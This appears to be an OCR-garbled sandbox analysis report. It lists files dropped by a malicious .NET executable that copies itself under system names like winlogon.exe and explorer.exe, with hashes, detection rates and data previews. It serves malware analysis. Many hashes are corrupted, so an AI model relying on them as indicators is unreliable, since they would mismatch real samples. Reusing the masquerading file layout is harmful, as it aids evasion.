TIBXAEYaxiXjubgdaxpCP3Cm9ImqIHKLKEJTcqvodujl 7umtGiTGhcUEPjQYYXwTNWHxflIDwoIMSpvE2X2kDydoHUED3ZXQF7Q416G17eghYQBYeeYAfwtftrpugEKXR2G
UZ0d5QunjRCQOspjYBXUTOVL3QWmM2UJIKfKg9oBctvIKNrbzBOfvW3IwGnojo4HuOIl1ugBg5Xio8KDhebbUvWiwQXXkW9bxynY5Fzrl9KkXxPImMDFKIMKWXpV
IWTbU66uzUwIcptTUIWL8AOVgQyTkORAPtNVYiOobDayz4mfY3QuleXkliSDHNJIDw2tb YfwvIiu5kZ5InT4r7gYuWnNPnwgx3yvDC3DAYd9cub9snTaxscngXHXxLPJ9I6
Bwo2juP4Teh6A40emTVIEbKOp4fQylUAOyaNEutphylJ9bHdJIrmzn21jlZNpP9FKIgGMeaZ1kpMQTBOOWCGH{fW860IphDahs79dU59sRvO7pkQjL83M2800
KHPnyuThPohVCv30CYzuQZSWjCdjKNpuSUTNqV3hbrsBD5haFCKel4Yuz3EwQuWB9wCrcgKreS
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C:\Recovery\ShellExperienceHost.exe v@

Process: C:\comproviderRuntimecommon\chainsavesref.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category: dropped

Size (bytes): 848384

Entropy (8bit):  6.083714696898079

Encrypted: false

SSDEEP: 12288:584s165YNPKDGWcvOarVwvZDyg7VGNtimleJ:C1IDGWcmarVKFPJ

MDS5: 4EAF964B744BD6801B5122AE1AFBBDE4

SHAL: 6E459FB6F3C6B7094D8D5AF10BC30C87AEEN3981

SHA-256: B570E2028088759D02EA13F7646BF7ACA78865D55F7FD8E2EFAEEC45C670E9FF

SHA-512: DC3E15AB58996C71E8999DD5521961F2BD08529F685465BCA5B11319EFOB4DC009F2528097ADCEODCA44FC675BA04156F9846F986F07A3E8CED366D5ABBD2D
A

Malicious: true

Antivirus: e Antivirus: Avira, Detection: 100%

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: Virustotal, Detection: 55%, Browse
e Antivirus: ReversingLabs, Detection: 70%

Preview:

C:\Recovery\cc11b995f2a76d

Process: C:\comproviderRuntimecommon\chainsavesref.exe
File Type: ASCII text, with very long lines, with no line terminators
Category: dropped

Size (bytes): 374

Entropy (8bit):  5.822060650367992

Encrypted: false

SSDEEP: 6:01YN7wg2PX0OBG2z2WnfV/nH5NjgwIxXZIBVEynMto7KeRQ10iBDsBZGMWbn:01YnmXOTVnH3k0xpIBVznMto7Z2Q10cU0

MD5: BB5E9B0632879AE9B7B6F1DI9FC353445

SHA1L: B8B8DFF17AAFECD248153D958F41B00A09196238

SHA-256: 3D14ABD2AE8018470375EF9F0D6515D9CDB83E1DAGB828693CDF1DB839EFCD1A

SHA-512: 88B1AE97928387DA365C84D7C0O07FEACB982DDE4D2B209448CC53E55F0BFB264D580DE69955DEE4BD12DFBDFDFO3F8CE227492518EDOE49C3684C9CFI3563F
9D

Malicious: false

Preview: xJDOqRskYofURDFwUsu9cGEuUx27KB1zIgtL FNy29PjO0RzImfyW448c4qESaxUijgyWxh29igzvt2Qx5pQcVo75KEzeASXForATdcUENyxY ENsBaRWvh2M4j2MssX8mIuGC

26TcULzh1il6WxEtimhwfFulQmWPzLPUHpld74aWDpDABQWA4TPDgMThwMsMsyjrpThyqpkvoLLtOCtkAPc5kHsHyIWRPrshd7XrebgPtdZVBjrudIMcWoGikZAhTTg6coQ
20BFijNLHsXGPbIxHfQKy1zGEal6a7c2XSyFbhCn2Jc8zNTvFrfYaMdcBz5BHbQvKPes6ngVF2XBV293upCO5iCq40xQgAfb2ryktlycKITiybG1zCQ

C:\Recovery\conhost.exe v@

Process: C:\comproviderRuntimecommon\chainsavesref.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category: dropped

Size (bytes): 848384

Entropy (8bit):  6.083714696898079

Encrypted: false
SSDEEP: 12288:584s165YNPKDGWcvOarVwvZDyg7VGNtimleJ:C1IDGWcmarVKFPJ
MD5: 4EAF964B744BD6801B5122AE1AFBBDE4
SHA1L: 6E459FB6F3C6B7094D8D5AF10BC30C87AEE03981
SHA-256: B570E2028088759D02EA13F7646BF7ACA78865D55F7FD8E2EFAEEC45C670E9FF
SHA-512: DC3E15AB58996C71E8999DD5521961F2BD08529F685465BCA5B11319EFOB4DC009F2528097ADCEODCA44FC675BA04156F9846F986F07A3E8CED366D5ABBD2D
A
Malicious: true
Antivirus: e Antivirus: Avira, Detection: 100%
e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: Virustotal, Detection: 55%, Browse
e Antivirus: ReversingLabs, Detection: 70%
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https://www.virustotal.com/gui/file/b570e2028088759d02ea13f7646bf7aca78865d55f7fd8e2efaeec45c670e9ff/detection/f-b570e2028088759d02ea13f7646bf7aca78865d55f7fd8e2efaeec45c670e9ff-1659295704
https://www.virustotal.com/gui/file/b570e2028088759d02ea13f7646bf7aca78865d55f7fd8e2efaeec45c670e9ff/detection/f-b570e2028088759d02ea13f7646bf7aca78865d55f7fd8e2efaeec45c670e9ff-1659295704

Preview:

C:\Recovery\explorer.exe v@

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Antivirus:

Preview:

C:\comproviderRuntimecommon\chainsavesref.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

848384

6.083714696898079

false

12288:584s165YNPKDGWcvOarVwvZDyg7VGNtimleJ:C1IDGWcmarVKFPJ
4EAF964B744BD6801B5122AE1AFBBDE4
6E459FB6F3C6B7094D8D5AF10BC30C87AEEN3981
B570E2028088759D02EA13F7646BF7ACA78865D55F7FD8E2EFAEEC45C670E9FF
DC3E15AB58996C71E8999DD5521961F2BD08529F685465BCA5B11319EFOB4DC009F2528097ADCEODCA44FC675BA04156F9846F986F07A3E8CED366D5ABBD2D

Antivirus: Avira, Detection: 100%

Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: Virustotal, Detection: 55%, Browse
Antivirus: ReversingLabs, Detection: 70%

MZ.ooooieiieec, @ .o 1..L.IThis program cannot be run in DOS mode....$....... PE..L...ab.iin, Shoo005%5000 co000000 @.. v AU
“.sdata.../..

C:\Recovery\f8c8f1285d826b

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\comproviderRuntimecommon\chainsavesref.exe

ASCII text, with very long lines, with no line terminators

dropped

318

5.821678878981174

false
6:cgA2F14IMIZWZdQGIGCIPW5QwLIcI+HCVI8VsPIW]CmM5SEWGOThjzYsiZLix:cgA2F14IMDGIuxIX6uPY+rwGeUjZLM
E1D19D6C3F4BB41CB9125A86FB1E2583

342577F1EEB903AE174478BEBBD2B307548CE64D
69806E929465780686EBF6EEC2D32D69BA2A0F19B5E89877E52CA15B6B035037

56E494BF9D702A0287F1DBA7AF288AF3359C13A4D85AC08C28D5E59C60845B94FDF0B4444515DC64D5DB8A6F754D2B488A6727DEOA1F18BCD4313309EC3440:
7

false

MAZYOEH2EeSX6dTFsT7pwOX2898kwmkJuHIgBBle7v2xZ7AIHIWVgxh7n6ZOFhFc3ImyVxDreccsAWjcAIXemQPn7jK3FImZapa3RULQTGo2DEgIDdYPsEcLo
fpPK48FODRV6pLaxGJgIXj2DjoINWaVNOPVp6FZIjBAWLOXRsCI46kR5WLKEW2dW5IsaZAOALY CVjF24cTe4FbRn703vfVvrhn1C662rmkLhi6VaSpICXjRelEdjHEfYmU
x60z8gbxRePtFBeMczttU8WWL1dSkhFw5NIZbdrFkkRwOH9cE4lqo3Azk2nGCIMuZdx1

C:\Recovery\winlogon.exe v@

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\comproviderRuntimecommon\chainsavesref.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

848384

6.083714696898079

false

12288:584s165YnNPKDGWcvOarVwvZDyg7VGNtimleJ:C1IDGWcmarVKFPJ
4EAF964B744BD6801B5122AE1AFBBDE4
6E459FB6F3C6B7094D8D5AF10BC30C87AEEN3981
B570E2028088759D02EA13F7646BF7ACA78865D55F7FD8E2EFAEEC45C670E9FF

DC3E15AB58996C71E8999DD5521961F2BD08529F685465BCA5B11319EFOB4DC009F2528097ADCEODCA44FC675BA04156F9846F986F07A3E8CED366D5ABBD2D
A

true
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https://www.virustotal.com/gui/file/b570e2028088759d02ea13f7646bf7aca78865d55f7fd8e2efaeec45c670e9ff/detection/f-b570e2028088759d02ea13f7646bf7aca78865d55f7fd8e2efaeec45c670e9ff-1659295704

Antivirus:

Preview:

Antivirus: Avira, Detection: 100%

Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: Virustotal, Detection: 55%, Browse
Antivirus: ReversingLabs, Detection: 70%

e o o o

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\Usagelogs\MrsUvRPGelmAhc.exe.log

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\Web\Screen\MrsUvRPGelmAhc.exe

ASCII text, with CRLF line terminators

dropped

1281

5.367899416177239

false
24:MLOE4KrL1gE4GiDOE4KeGiKDE4KGKNO8BAKhPKIE4ATKD1K0ZAE4KKPz:MxHKN1qHGIDOHKeGiYHKGD8AOPtHTG1Q
7115A3215A4C22EF20AB9AF4160EE8F5

AACAB34355971C1FBAABECEFA91458C4936F2C24
A4ABB9E8149166591F94ABCB4E99BE744992B9EBOBDB7A0713453EB6C59BBBB2
2CEF2BCD284265B147ABF300A4D26AD1AAC743EFEOB47A394FB614B6843A60BIF918E56261A56334078D0D9681132F3403FB734EE66E1915CF76F29411D5CE2(
false

1,"fusion”,"GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublickeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelma
ges_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f
7f11d50a3a","C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Drawing\49e5c0579db170be9741dccc34c1998e\System.Drawing.ni.dll",0..3,"System.Window
s.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Windows.Forms\6d7d4
3e19d7fc0006285b85b7e2c8702\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Win
dows\assembly\Nativelmages_v4.0.30319_64\System.Core\4e05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\Nativelmages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\Usagelogs\chainsavesref.exe.log

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\comproviderRuntimecommon\chainsavesref.exe

ASCII text, with CRLF line terminators

dropped

1740

5.360872475306136

false
48:MxHKn1gHGIDOHKeGiYHKGD8A0PtHTG1hAHKKP5H+RHKI:ignwmlIOgerYqGgAoPtzGleqKP5gq|
7AC9E3ED5E1926DAE60D44553AFEG7FE

1EC2BB13633A3C21E2F3206696D89876B15E160F
97BCE2B4536F07A3269FCCA71C9768C9D516D065BEOE538B17BADBI0C32A6554
D8070849646B1E8967C713800098073E68BOFF5EAB55E06A32E0C365A6D49E5FB1718340459B4710B4A8DC6CDESEA1345F7935CDOC7E27A18BEF71B8309A5B21
false

1,"fusion","GAC",0..1,"WIinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelma
ges_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f
7f11d50a3a","C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Drawing\49e5c0579db170be9741dccc34c1998e\System.Drawing.ni.dll",0..3,"System.Window
s.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Windows.Forms\6d7d4
3e19d7fc0006285b85b7e2c8702\System.Windows.Forms.ni.dll*,0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Win
dows\assembly\Nativelmages_v4.0.30319_64\System.Core\de05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b03f5{7f11d50a3a","C:\Windows\assembly\Nativelmages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\Usagelogs\explorer.exe.log

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Recovery\explorer.exe

ASCII text, with CRLF line terminators

dropped

1281

5.367899416177239

false
24:MLOE4KrL1gE4GIDOE4KeGIKDE4KGKNOBAKhPKIE4ATKD1K0ZAE4KKPZz:MxHKN1gHGIDOHKeGiYHKGD8AOPtHTG1Q
7115A3215A4C22EF20AB9AF4160EESF5

A4CAB34355971C1FBAABECEFA91458C4936F2C24
A4AB89EB149166591F94A8CB4E99BE744992B9ESOBDB7A0713453EB6C59BBBB2
2CEF2BCD284265B147ABF300A4D26AD1AACT743EFEOB47A394FB614B6843A60BIF918E56261A56334078D0D9681132F3403FB734EE66E1915CF76F29411D5CE2(

false
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https://www.virustotal.com/gui/file/b570e2028088759d02ea13f7646bf7aca78865d55f7fd8e2efaeec45c670e9ff/detection/f-b570e2028088759d02ea13f7646bf7aca78865d55f7fd8e2efaeec45c670e9ff-1659295704

Preview: 1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelma
ges_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f
7f11d50a3a","C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Drawing\49e5c0579db170be9741dccc34c1998e\System.Drawing.ni.dll",0..3,"System.Window
s.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Windows.Forms\6d7d4
3e19d7fc0006285b85b7e2c8702\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Win
dows\assembly\Nativelmages_v4.0.30319_64\System.Core\de05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b03f5{7f11d50a3a","C:\Windows\assembly\Nativelmages_v4.0.30319_64\S

C:\Windows\Help\mui\0409\5f7cc7e87d7637

Process: C:\comproviderRuntimecommon\chainsavesref.exe
File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 154

Entropy (8bit):  5.614624794634796

Encrypted: false

SSDEEP: 3:cBc8BBt/giiYhRD7GRLCNkSjsVWxyAUjI312vAGcCpYr2xiUdgJdn:cBjN3HD7GRSkQ1sjI12KixiEMdn

MDS5: D25ABFBDB53986A76D2E91619515E94B

SHAL: 059306BB7234709E1B826B215F24C5561ED6A9EA

SHA-256: 35FB906845BCF87A2421D62B7E27AEF8763BB4ADEE99BD481D7181D5197A38275

SHA-512: B88DF941C731D7893068FE326596E57COEF9COED02291E2B04234757E73EA8C259B87A7069453E0FF8A900AAA87543E6D83D353CA52E3CCI2CI04E48CIF9927E
Malicious: false

Preview: 5|CSyb9W0OFdHZOGiV173GdgDkedz4MAPmagmXmXCjAv97hgevwbpgPzIgON7fh6 CFNe8rdLsd4UFrgFDXBEIQVsXIYGIlYahCEt4tCsvRINLm4ta9JKJecyv

teGXSXCTDXSA8MVAFQwWgDJGc18G8ORCjQ8

C:\Windows\Help\mui\0409\MrsUvRPGelmAhc.exe % €3

Process: C:\comproviderRuntimecommon\chainsavesref.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category: dropped

Size (bytes): 848384

Entropy (8bit):  6.083714696898079

Encrypted: false
SSDEEP: 12288:5845165YnPKDGWcvOarVwvZDyg7VGNtimleJ:C1IDGWemarVKFPJ
MD5: 4EAF964B744BD6801B5122AE1AFBBDE4
SHA1L: 6E459FB6F3C6B7094D8D5AF10BC30C87AEE03981
SHA-256: B570E2028088759D02EA13F7646BF7ACA78865D55F7FD8E2EFAEEC45C670E9FF
SHA-512: DC3E15AB58996C71E8999DD5521961F2BD08529F685465BCA5B11319EFOB4DC009F2528097ADCEODCA44FC675BA04156F9846F986F07A3E8CED366D5ABBD2D
A
Malicious: true
Antivirus: e Antivirus: Avira, Detection: 100%
e Antivirus: Avira, Detection: 100%
e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: Virustotal, Detection: 55%, Browse
e Antivirus: ReversingLabs, Detection: 70%

Preview:

C:\Windows\Web\Screen\5f7cc7e87d7637

Process: C:\comproviderRuntimecommon\chainsavesref.exe
File Type: ASCII text, with very long lines, with no line terminators
Category: dropped

Size (bytes): 773

Entropy (8bit):  5.88188550946202

Encrypted: false

SSDEEP: 24:2H1KnilgTAx6cexSqZrFMp4xP6kokIMjdrcf:QKmgDZk4xPZoAMjpct

MD5: 44C69EB09C48C916E503CEO8DF5C4A0A

SHAL: 5B8EA8066FB5DBD65076BOCDF2E53281EAOSAELA

SHA-256: AF9F089D501BED940AEGED794E165E76B2E077020A4A9516528131537C52050C

SHA-512: D29B7F2723A43AAA7519CFBEA3D1946C01932BAC755819A2B5EA779DD20312BF1294956E0995F185EAOFAGAB47B914DF485E4BA0839B459584288EA6338AB06!
Malicious: false
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https://www.virustotal.com/gui/file/b570e2028088759d02ea13f7646bf7aca78865d55f7fd8e2efaeec45c670e9ff/detection/f-b570e2028088759d02ea13f7646bf7aca78865d55f7fd8e2efaeec45c670e9ff-1659295704

Preview:

pvJgWeLx3GiWPAI9G138TsFZywcpql 7I9IWfiDW4TFXRN6IHk7iGnTc7qulkBfHul7WoomaCe8oN4xL20VFtk18gJYyzMw3x8ClQjec7hflooOC2j95qaXKR9qgfPyl0sF1
P1p4TK3ILEPTB5WEPN1MXk21Q28MJI5p3jx9KNopvwRMFBgpk31Vm02e09xoal.q9PYWtO5LIhFZFYXOKNYTRKCCrTVLZAPKGS6qgp6borluFvcYPM7EMwWXrpV
TCAKATKRITwcGKnwull07RO4F9c6DxtkQVW4gDrzIxPJlwFwaZ CwizYBy9fBOoOskLLuytQq3TqJBFTS3qfnu7Ch6UFgig8ejhiZIV7rIV2PIOAsqMIKJIk7nJuyenulNUL
keg3risyeZEwSrUXzWiyV8k5P0gdDYNo570fMwejbUGhiXbGJQ4wpfzm3kn1BOuGMalVDyLD18WA2CX2YaTxea9ZHCmIIniMKAVIfGDVF14rlyt1Nvck56lvacNAMj40ZK
alrPWRX8sngSQTSuXXL7RnYkrD3CJf6qR8Y 1K7YKN60O8OIL4rbMgDb2wdGiSYUzNqOAR4akZ8AuUZaVi29VrSamzGlYDZGw3HARYH39ROwWICrhWCv9aY9H4Q
NLLSCh92NONZI6b8AD1g1jHiPVRapY39FBK6rgPTwpy0T73yibY5QXYNDmMDgPjMz6NTHveQUyhuMuQPScd2NA8tsnh3FmjDNd94GnwCDLDGsnM2wXvOwq9z8
eleOlLrPehtvWIlopazC61AF

C:\Windows\Web\Screen\MrsUvRPGelmAhc.exe v@

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Antivirus:

Preview:

C:\comproviderRuntimecommon\chainsavesref.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

848384

6.083714696898079

false

12288:584s165YNPKDGWcvOarVwvZDyg7VGNtimleJ:C1IDGWcmarVKFPJ
4EAF964B744BD6801B5122AE1AFBBDE4
6E459FB6F3C6B7094D8D5AF10BC30C87AEEN3981
B570E2028088759D02EA13F7646BF7ACA78865D55F7FD8E2EFAEEC45C670E9FF

DC3E15AB58996C71E8999DD5521961F2BD08529F685465BCA5B11319EFOB4DC009F2528097ADCEODCA44FC675BA04156F9846F986F07A3E8CED366D5ABBD2D
A

true

e Antivirus: ReversingLabs, Detection: 70%

1..L.IThis program cannot be run in DOS mode....$......PE..L....a.b

C:\comproviderRuntimecommon\9e8d7a4ca61bd9

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\comproviderRuntimecommon\chainsavesref.exe

ASCII text, with very long lines, with no line terminators

dropped

402

5.875646102875155

false
6:hwXJCTI3EPWpgBWxg6wGyxNCigxRnwo750cbOLWFvxD+PXRKDHYZQEW2HMn:ICyMqwGNChRN3NgLG5q/RcHkgn
7734AF8B276980372DABBESAAB9ABSB3

6D1681C0B7B62DABAAESEBD46295204DD8400E91
CCA27072E563DDBF09DBAB445473049555FA54BFD69A9007ECA4F2A5E35C22E2

AEF5E0F8CABASEF77B3CC6D23A9B6D2D5A58DDO0ADEADOGAESD14BA41ECD3BF5863E22C06C58C5E199D8927B7AA472AF3FAEB4673681BF63125491957F90D
6D3

false

5iXXRGQQV(BQ227Z1c9zk0EikaRNRO7yKnv4SXaX BmNAPCVPFEQILwxFeyNOzDZGINGPEDGeCly8mDThpmHM7WnX0pZdKjiSNGQC6fIB7wij8zdafpLM5MIW
ksYYnmUcCOugwRIJBFPLXDZAMIBeXWCAG4bNHMXUCFGIEGNOECLO78jhTYLoozFqytj2zY Cys4srgQ5PWtaVKMD8VA3sAtgmAZz TUXuYGAWHCP1BCC6RAYUfm
qkh4eTx8OFrq7k1IUUUYEASd30QEbvOQUrowNeLriJyJKUF1EgkoZrip1DBnCtgclaWP6FY0inQ4L  TivYAvLj0mJ94JchozmWRIB059RtFwbndSuc2nsuRSktF7KOYB9a
RzRjj4dBdbeELgimZ9pAG1E9IPUSyDVE

C:\comproviderRuntimecommon\DLLIR59GMmL352HHbgfc.bat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\cDouNOFXle.exe

ASCII text, with no line terminators

dropped

47

4.266730872678045

false

3:15gTIMKJLYjWJ:lwlp3Yije

665BDA14C5E0F28A4FCAAB8726DC6EBE
16DEB93757751E2D66E05C2C22505DB113FA96BA
09C3E02A4CAAD39E7C91FOBA1CCI3C8C727D23B306DA9129CCA1D0955880C33E

51E85507A8C515FB3FE854A5D969C83D4C6ADD05284A11232B773EEBD19BA2B148B01CE116D65D6BF7CDFC13064ABFF8FOE69825630446E00B7846EB16EDSC
B5

false

"C:\comproviderRuntimecommon\chainsavesref.exe"
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C:\comproviderRuntimecommon\RuntimeBroker.exe v@

Process: C:\comproviderRuntimecommon\chainsavesref.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category: dropped

Size (bytes): 848384

Entropy (8bit):  6.083714696898079

Encrypted: false

SSDEEP: 12288:584s165YNPKDGWcvOarVwvZDyg7VGNtimleJ:C1IDGWcmarVKFPJ

MDS5: 4EAF964B744BD6801B5122AE1AFBBDE4

SHAL: 6E459FB6F3C6B7094D8D5AF10BC30C87AEEN3981

SHA-256: B570E2028088759D02EA13F7646BF7ACA78865D55F7FDBE2EFAEEC45C670E9FF

SHA-512: DC3E15AB58996C71E8999DD5521961F2BD08529F685465BCA5B11319EFOB4DC009F2528097ADCEODCA44FC675BA04156F9846F986F07A3E8CED366D5ABBD2D
A

Malicious: true

Antivirus: e Antivirus: Avira, Detection: 100%

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 70%

Preview: MZ.ooooiiiiee, @ oo 1..L.IThis program cannot be run in DOS mode....$....... PE..L...ab.i (Shoocos™5000 csoooom @.. v R
“.sdata.../..

C:\comproviderRuntimecommon\backgroundTaskHost.exe v@

Process: C:\comproviderRuntimecommon\chainsavesref.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category: dropped

Size (bytes): 848384

Entropy (8bit):  6.083714696898079

Encrypted: false

SSDEEP: 12288:5845165YnPKDGWcvOarVwvZDyg7VGNtimleJ:C1IDGWemarVKFPJ

MD5: 4AEAF964B744BD6801B5122AE1AFBBDE4

SHA1L: 6E459FB6F3C6B7094D8D5AF10BC30C87AEE03981

SHA-256: B570E2028088759D02EA13F7646BF7ACA78865D55F7FD8E2EFAEEC45C670E9FF

SHA-512: DC3E15AB58996C71E8999DD5521961F2BD08529F685465BCA5B11319EFOB4DC009F2528097ADCEODCA44FC675BA04156F9846F986F07A3E8CED366D5ABBD2D
A

Malicious: true

Antivirus: e Antivirus: Avira, Detection: 100%

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 70%

Preview:

C:\comproviderRuntimecommon\chainsavesref.exe v@

Process: C:\Users\user\Desktop\cDouNOFXle.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category: dropped

Size (bytes): 848384

Entropy (8bit):  6.083714696898079

Encrypted: false

SSDEEP: 12288:584s165YnPKDGWcvOarVwvZDyg7VGNtimleJ:C1IDGWemarVKFPJ

MD5: 4EAF964B744BD6801B5122AE1AFBBDE4

SHAL: 6E459FB6F3C6B7094D8D5AF10BC30C87AEEQN3981

SHA-256: B570E2028088759D02EA13F7646BF7ACA78865D55F7FD8E2EFAEEC45C670E9FF

SHA-512: DC3E15AB58996C71E8999DD5521961F2BD08529F685465BCA5B11319EFOB4DC009F2528097ADCEODCA44FC675BA04156F9846F986F07A3E8CED366D5ABBD2D
A

Malicious: true

Antivirus: e Antivirus: Avira, Detection: 100%

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 70%
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Preview:

C:\comproviderRuntimecommon\eddb19405b7cel

Process: C:\comproviderRuntimecommon\chainsavesref.exe
File Type: ASCII text, with very long lines, with no line terminators
Category: dropped

Size (bytes): 965

Entropy (8bit):  5.895969511903032

Encrypted: false

SSDEEP: 24:zMVH2Kc2dETTXdla3efM2QfnZ6qHy8ikD5Fk6KIRW34Y5:2Y02CXdieb+Z6qHy8hND

MDS5: B052857C9DE3DD65305100232C55ECFO

SHAL: 5789A2644F17F918F162833FE4977F7139A5C132

SHA-256: A3BC14FFE5D7BD3FD68E643E3CC08A101E06659B2E2B30AA57D65C44CE156D90

SHA-512: 2DA5D25FCB1B0OD7AEE2275B7E4336DESDIDESOB3C0999D6C6752DB114CF3EDIE46826F4608A90D8FEABA058DIDA4ACCABBFADC1D4CA594CE30A52092C2DA:
8599

Malicious: false

Preview: KrROxghjbizYV9UavRaUJfMaGaRLL1kOHrzZkOMmrLgQO7sxq52ttixpfOtXOWYk7kRoJ4zhFym885MJrefP81ej3K4tezY Vx5 TngENVFV055zqjokptOIMGFru8AFCQZR

LDmidnOuKmMinEeVF3KoepTMh8Upu9TYgnom6FHB3G793hDgepAlFuwfuZBeTLIKTYCAZ1Y9wIvYrTTA4nKF8KSV1I2gEmsrHxpEeDQNQAW79YyaGAkpB3LJ
gQJIR815JaDQ400f0Xhy7yUwcThaDBCqNIgiN49oYFMh5H4W2fuSdENVLeq7hb2HXWCSHpSEY2Z2Ix0VY phiRuMIXLXsOBHENEJIEIoMMy3IpVtXoVj13U0nK
456RjsWvcphoRQWAVVdOIdBbAE2cPC30gYKgs4nGgzMgLtWEwWOiI8WwiadeRez4faw TH3FG SasXTWRVQRsxqYe41t0uwNnIQmTw32lc9pilP8cwliO9wBOHS51
bXCVUFwkHrcfbY pPyAOWo3QEmMN8nWPXM0CaOanVcVplvTmGOUgMNQ]NIGBtGGIO2TQpZ 7bzKpXA8Bfu9HITzCI5Qy2Hb4OWMb9cC7q32qCi3jOglOt8yYz]
VYKEUYQbBxhCCsCaObIAICrkWgMLOXYDJTriFyiSwH2vqdiggjtXPziTrAsyLEMnZe2tAeUa200dJ5427qepoAXTvX1FGUGr5OWMIyfMOTeYIEIvVGZ0fkg8Yqi8mmOTIlug
i4jrRILRbVfYsqOGIR3kGYQ7fC02k99VoEfOLYisUTEN3RORYgOCPJaJolIMPSSrbVJunLA4ItLQXTmENLieDv7GeoVjkMSaBInStgNGYmnTE3mzCh8EtxngXDQ8zaUZauO
LgTVq7cGaloCICghCNOqO775pQPQ7SN2TobJsMRGRrNhtAp6 T3RLLEANSY parLIl4vt6IWy06HZguZMpl TEBEACqPoNaUg1Z

C:\comproviderRuntimecommon\et1pu6VALKUOY7GuC30A.vbe % €

Process: C:\Users\user\Desktop\cDouNOFXle.exe
File Type: data

Category: dropped

Size (bytes): 221

Entropy (8bit):  5.869799958312498

Encrypted: false

